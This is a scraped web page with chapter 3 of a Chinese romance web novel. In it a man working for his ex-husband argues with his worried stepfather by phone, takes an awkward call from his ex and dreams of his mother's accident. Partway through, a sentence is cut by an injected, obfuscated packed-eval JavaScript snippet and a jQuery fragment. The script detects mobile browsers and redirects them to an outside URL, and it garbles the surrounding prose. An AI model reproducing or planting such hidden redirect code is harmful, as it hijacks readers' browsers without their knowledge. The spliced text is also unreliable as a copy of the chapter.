3. 第 3 章

作品:《你先别做梦了!

    下班前,郁观年还是把厉劭给他的杯子拆开了。


    拆开一层层包装,是只保温杯。


    郁观年看了一会儿,还是把杯子收起来放好。


    他新建文档,敲字。


    “离职申请”


    可敲下这四个字后,犹豫不决,最后没接着写下去,而是叉掉这个文档。


    系统询问是否保存。


    郁观年想了想,点击保存。


    他开始处理工作。


    加班到很晚,踏着夜色回家。


    在家附近的商铺打包了晚饭。


    回到家后,第一时间把晚饭拍照发给继父,告诉他:“爸爸你看,我有好好吃饭,你不用担心我。”


    又打开银行卡,仔细查看自己的账户余额,把所有的钱都转回去:“我现在有工作了,能赚到钱用。”


    郁观年过了一会儿才收到继父的回复:“怎么只吃麻辣烫?还这么多辣油,会不会嗓子疼?”


    郁观年:“不会。”


    他给自己不合口味的晚饭找理由,撒谎,“味道很好,我喜欢吃。”


    继父:“那也不能多吃,自己一个人要注意身体。”


    郁观年:“好。”


    继父又问:“怎么现在才吃饭,是不是下班太晚?工作很辛苦吗。”


    郁观年这才注意到时间。


    其实并不算晚,他从公司离开的时候才八点半,在这座加班已成常态的城市,已经算是很早的时间了。


    等到以后真的开始工作,会下班更晚。


    他没有这样告诉继父,继续撒谎:“没有,只是今天临时来了工作,以后就不会这么晚了。”


    蒲顺井没再和郁观年说太多,再次叮嘱郁观年出门在外照顾好自己,就结束对话。


    郁观年收起手机,又吃了几口,填饱肚子,把剩下的麻辣烫和垃圾全部丢掉,再开窗通风。做完这一切,他窝在沙发上,看了会儿手机。


    刷着刷着,刷到有关亲爹的新闻资讯。


    营销号的标题起得很有煽动力——“震惊!昔日集团董事长知法犯法,数罪并罚被判死刑!原告居然是他?!”


    郁观年点进去大概扫了一眼。


    标题起得很吸引眼球,但内容不尽详实,也没什么独家见解或爆料,只是把官方通告的内容嚼烂了再吐出来。


    底下还配了些图片,都是在二审法院门口拍的。


    郁观年点开图片仔细看。


    在其中一张照片里看到了自己,不过自己当时戴着口罩,隐藏在人群里,大概没人会注意到。


    他接着往下看,想看看标题里的原告到底是谁。


    标题上拿来当钩子吸引读者好奇心的问题,最终也没给出答案,只是含糊不清又义正辞严说,原告能花费这么多时间精力来收集证据坚持上诉,一定是被这个大坏蛋害惨了,希望复核维持死刑处分,让正义得以声张!


    郁观年:“。”


    他叉掉这条资讯,并长按点击不感兴趣。


    浏览器得到反馈,根据他的浏览偏好,开始给他推新的资讯。


    “从父母双亡的孤儿到行业领头羊,他的商业版图如何铸就?”


    这条资讯旁边,是厉劭一年前在经济杂志做访谈时的采访照片。


    郁观年:“。”


    他长按,手指在“不感兴趣”四个字上悬了很久。


    最后把手机丢到一边,站起来。


    洗洗睡吧。


    明天还得上班。


    刷牙洗脸。


    洗澡时,听到外面手机铃声响起。


    担心有什么重要事情,他加快速度,简单冲洗就走出来。


    拿起手机一看。


    是厉劭的电话。


    擦头发的速度越来越慢,毛巾在发丝间穿梭,沙沙的声响。


    郁观年盯着厉劭的未接来电,在心里预设厉劭来电要和自己说什么,最后才点上手机,回拨过去。


    厉劭很快接通。


    郁观年谨记自己此刻的身份,拿捏好下属下班时间和老板通话的态度,问:“厉总?有什么工作安排吗?”


    厉劭:“没有。”


    郁观年能听到他的呼吸声,随后听到他说:“爸爸给我打电话,问我你现在怎么样,你没有告诉他你在我这边吗。”


    郁观年在听到这句话的瞬间,反应过来。


    现在给自己打电话的,不是自己的老板厉劭。


    是作为和自己在同一座城市,都和自己离婚这么久还会被自己家人麻烦的前夫,厉劭。


    郁观年有些懊恼,无声吐了口气,坐到床上,大力擦头发,说:“我等会儿和他说,让他不要再麻烦你了。”


    厉劭:“你要怎么说。”


    郁观年也不知道怎么说,被厉劭这样质问,想到自己现在的情况,想到继父的关心,就像有一条湿了水的厚重毛巾盖在自己脸上,沉甸甸的,闷住口鼻让人无法呼吸。


    郁观年:“这是我们家的事。”


    厉劭沉默了。


    郁观年想到很多可以敷衍继父的理由,但担心厉劭已经说了真话,问:“你告诉他我在你公司吗。”


    厉劭:“没有。”


    “那是你们家的事。”


    明明是自己说出口的话,但被厉劭这么重复,郁观年心里就不舒服。


    他有点后悔,自己不应该这样和厉劭说话,厉劭现在是自己上司,不合适。


    郁观年抓抓已经半干的头发,抬手,把擦头发的毛巾丢到沙发靠背上。


    毛巾沾了水,重了很多,一角砸到墙壁,“啪”的一声脆响。


    郁观年:“你不用管了,我会告诉爸爸的。今天麻烦你了。”


    厉劭没说话。


    郁观年没再管手机,拿起吹风机开始吹头发,一边吹一边想等会儿要怎么和继父说。


    他跟厉劭的婚姻就维持了三年,那三年里他们的婚姻都名存实亡,关系很尴尬。


    现在离婚都三年半了,怎么继父还会把电话打到厉劭那里啊。


    他风力开到最大,迅速吹干头发,吹完拿起手机,想给继父打电话。


    可手机屏幕亮起。


    显示和厉劭通话进行中。


    厉劭还没把电话挂断,手机里传来厉劭那边敲击键盘的声音。


    可能是厉劭还在工作,忘记挂掉了。


    郁观年好像都能根据这点声音,回忆起厉劭此刻的样子、厉劭的动作、书房的每一处细节。


    三年的婚姻生活,足够他记住所有细枝末节,现在回想起来,仍旧鲜活如新。


    郁观年想要挂断。


    厉劭突然开口:“阿姨复职了,说明天煮腌笃鲜。”


    郁观年被突然响起的声音惊到,后知后觉想到厉劭在说什么。


    是之前他们结婚时候给他们做饭的阿姨。做饭很好吃,总能做出郁观年最喜欢的口味,每年春天煮的腌笃鲜都鲜得要命。


    他和厉劭离婚那年,阿姨有了孙子,回家照顾儿媳妇和孙子。说等到孙子上幼儿园再回来。


    现在复职了?


    虽然知道已经和厉劭离婚三年半了,但现在引入一个从刚出生长到已经能上幼儿园小孩子,郁观年切实感觉到时间过得有多快。


    但厉劭和谁说话呢。


    郁观年想要挂断电话。


    厉劭:“给你带一份。”


    “爸爸说你自己一个人不好好吃饭。”


    爸爸不仅给厉劭打电话询问自己的近况,还说了自己不好好吃饭要厉劭照顾自己?


    他和厉劭都离婚这么久了,有什么好麻烦厉劭的?


    怪不得厉劭总对自己那么不耐烦的样子,原来是被迫关照自己啊。


    郁观年不知道为什么,突然开始迁怒。


    他语气很差劲,拒绝:“不用,你不用管他说了什么,我都告诉他我们离婚很久了。可能他忘记了,我等会儿会再跟他说的。”


    厉劭不再说话。


    不再管自己主动挂电话,上司会不会在工作上给穿小鞋,郁观年匆匆说:“挂了。”


    他主动挂掉电话。


    再给继父打电话。


    继父很快接起来,问:“年年,怎么了?”


    郁观年有点生气,可听到继父关心的声音,又觉得自己没有资格对爸爸这么生气。


    是自己没做好。


    他放软声音,半是抱怨半是为难:“爸爸,你给厉劭打电话了吗。”


    蒲顺井说:“嗯,我看你很忙,想着你们在一个城市,想问问他知不知道你都在忙什么,生活过得怎么样。”


    果然是爸爸担心自己,才去给厉劭打电话的。


    郁观年说:“你问我不就行了吗,你以后不要再给厉劭打电话了,我和厉劭都离婚很久了,你这样很麻烦他。”


    蒲顺井:“我问过你,但你什么都不告诉我。”


    郁观年沉默下去。


    蒲顺井没有责备他的意思,声音依旧温和关心,说:“从你跟他离婚,三年多了,你只回过家一次,这两年过年都没回来,我打电话问你在做什么,你总说在忙,可具体在忙什么,你从来不告诉我。我要照顾你妈妈,没时间去看你,只能问问和你在一座城市的厉劭。”


    说到最后,声音越来越轻,可以就没有指责的意思,只是说,“现在厉劭告诉我的事情也越来越少,你连从别人口中探听到你近况的渠道都不留给我,我想告诉你妈妈你现在都在做什么,但一点都不知道。我害怕你妈妈醒了,发现你过得不好,怪我没照顾好你。”


    郁观年心如刀绞:“对不起。”


    继父没说话。


    郁观年想了想,告诉他:“我现在真找到工作了,在公司给老板做助理,平时帮忙送文件,做个PPT什么的。”


    蒲顺井从小到大都不会怪郁观年,现在也是一样,他很快原谅了郁观年的隐瞒,开始关心郁观年:“是什么样的公司啊,正规吗。”


    郁观年知道,现在告诉继父,自己就在厉劭公司,继父一定会放心下来。


    但以后继父联系不上自己,一定会去找厉劭。和自己打电话的目的背道而驰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472145|201547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    他含糊说:“正规,是之前认识的人家里的公司。”


    蒲顺井松了口气:“那就好。”


    郁观年:“明天我到公司再给你看我的工作。你以后有什么事情都直接来问我,不要去麻烦厉劭了。我们都离婚那么久了,你怎么遇到事情还给他打电话,他不嫌烦的吗。”


    蒲顺井答应:“好。”


    又辩解,“他不嫌烦,我每次打电话给他,他态度都很好,还跟我说有什么事情都可以打电话给他。”


    厉劭态度很好?


    郁观年抱怨:“你好歹也算他的长辈,他肯定不会对你凶巴巴的,装也会装出很客气的样子,说一些场面话,你怎么能把场面话当真呢。”


    蒲顺井:“我还分不清真话和场面话吗,他不是假客气,他是真的很关心你。”


    郁观年觉得继父太天真,依旧试着说服继父:“那不然呢。他总不能跟你说,你很麻烦,让你以后都不要打电话给他了吧。嘴上说一些好听的客气话,实际上心里还是会觉得麻烦的,你以后不要这样做了。”


    蒲顺井突然问:“年年,那你说还把我当你爸爸,这些话也都是场面话吗?”


    郁观年心脏狠狠往下顿,说:“不是。”


    可说完这两个字,他就不知道怎么说了。


    电话两头都沉默下去。


    好一会儿,蒲顺井转移话题,和郁观年说了会儿他妈妈的近况。


    六年多前,郁观年妈妈郁静文出车祸,因为急性脑损伤变成植物人,这些年一直在医院。


    蒲顺井从来没有放弃治疗,最近又换了医生,据说医生采用了最新的治疗方案,妈妈现在已经能对他说的话产生波动了。


    继父用一种欢欣期待的语气,告诉郁观年,可能今年,妈妈就会醒来了。


    郁观年想到妈妈,心情差劲,听着继父的话,点点头。


    他觉得继父的话有为安慰自己夸大说辞的嫌疑。


    三年前他回家那年,那年在医院,他握着妈妈的手叫妈妈,和妈妈说了自己的近况,问妈妈什么时候醒,他能看到妈妈的心跳变了频速,离开前甚至能看到妈妈眼角带着眼泪。


    当时他也以为妈妈会醒。


    但妈妈一直到现在还没苏醒。


    电话挂断。


    郁观年整理情绪,重新去洗了把脸,睡觉。


    他终于没再梦到厉劭。


    而是梦到自己的爸爸妈妈。


    是郁静文和蒲顺井。


    梦里,小小的郁观年穿着和妈妈同款的舞蹈服,跟着妈妈去舞蹈机构学舞蹈,他知道,等到下课,等爸爸就会来接他们,和他们一起吃饭。晚上,爸爸会坐在他身边,教他做作业,妈妈会凶他不专心,但爸爸从不生气,总是夸他,还在他拿到小红花的时候,给他多多的零花钱。


    小小的郁观年就在这样平静幸福的生活里渐渐长大,他想,等以后自己结婚了,也要做和爸爸妈妈一样的爸爸妈妈。


    可这一天,他刚牵着妈妈的手从舞蹈机构出来,突然不知道从哪儿窜出来一辆大卡车。


    大卡车把妈妈撞倒,妈妈修长灵巧能跳出优美舞蹈的腿从中间断开,折成一个扭曲尖锐的角,郁观年看到妈妈流了很多血,血液从妈妈头上流下来,沁透她的长发,把她的脸淹没。


    郁观年哭着要去找妈妈,可还没跑到妈妈身边,就被抓起来,往反方向跑去。


    他眼睁睁看着自己离妈妈越来越远,妈妈身上的血越来越多,太害怕,挣扎着哭着回头看。


    是他亲爹。


    刘向荣。


    郁观年愤怒到极点,攥起拳头狠狠砸过去。


    拳头砸在对方身上。


    下一秒,刚刚的刘向荣变成了厉劭的样子。


    厉劭拉住他的手,表情依旧有点冷,但眼里染上关切,伸手要给他擦眼泪,问:“哭什么?”


    郁观年下意识向后躲。


    脑袋撞上床头软包。


    他醒了。


    房间黑暗,安静得能听到自己的呼吸和心跳。


    枕头已经湿透了,冰凉黏腻贴着他的侧脸。


    郁观年摸到床头的纸巾,胡乱擦掉。


    身体还没有从梦境里抽离,心脏紧缩成一团,呼吸都变得艰难,他忍不住缩成一团,小口小口调整呼吸,忘掉梦里的伤痛,让自己快点睡过去。


    他花了一些时间,意识逐渐昏沉。


    意识往下沉,沉到最深处,溃散。


    完全睡着。


    随后,郁观年感觉脸上传来细细痒意。


    这点痒好像一笼网,把郁观年散开的意识网起来,聚拢在一起。


    他的感知越来越敏锐,感觉到有人正捧住自己的脸,而自己的眼睛,正贴着什么柔软潮湿的东西。


    厉劭的声音阴魂不散响起来:“老婆。”


    郁观年悚然一惊。


    他睁开眼睛。


    厉劭近在咫尺,啄吻着他的眼睛,语气是不熟练的温和,好像在哄人:“别哭了。”


    郁观年:“。”